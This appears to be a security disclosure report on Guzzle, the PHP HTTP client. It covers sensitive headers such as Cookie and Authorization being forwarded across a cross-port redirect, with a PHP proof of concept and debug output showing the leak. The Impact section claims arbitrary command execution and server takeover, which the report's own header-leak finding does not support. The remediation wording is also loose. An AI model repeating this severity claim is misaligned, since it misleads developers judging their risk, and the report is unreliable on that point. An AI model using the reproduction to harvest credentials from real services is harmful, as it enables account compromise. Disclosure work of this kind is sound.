Summary
Sensitive headers are uncleared on cross-port redirect.
Product
Guzzle/guzzle prior to version 6.5.8, and from 7.0.0 through 7.4.4.
Steps to reproduce
poc.php :
<?php
require 'vendor/autoload.php';
use GuzzleHttpClient;
$client = new Client([
'base_uri' => 'http://10.0.2.4',
]);
$response = $client->get('/redirect.php', [
'debug' => TRUE,
'headers' => [
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => 'a=b',
'Authorization' => 'secret',
]
]);
$body = $response->getBody();
See that the headers are also sent from port 80 to port 81.
* Trying 10.0.2.4:80...
* TCP_NODELAY set
* Connected to 10.0.2.4 (10.0.2.4) port 80 (#0)
> GET /redirect.php HTTP/1.1
Host: 10.0.2.4
User-Agent: GuzzleHttp/7
Content-Type: application/x-www-form-urlencoded
Cookie: a=b
Authorization: secret
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Fri, 10 Jun 2022 14:58:01 GMT
< Server: Apache/2.4.53 (Debian)
< Location: http://10.0.2.4:81
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.0.2.4 left intact
* Trying 10.0.2.4:81...
* TCP_NODELAY set
* Connected to 10.0.2.4 (10.0.2.4) port 81 (#1)
> GET / HTTP/1.1
Host: 10.0.2.4:81
User-Agent: GuzzleHttp/7
Content-Type: application/x-www-form-urlencoded
Cookie: a=b
Authorization: secret
Impact:
An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.
Remediation
Update Guzzle/guzzle to version above 6.5.8 or above 7.4.5.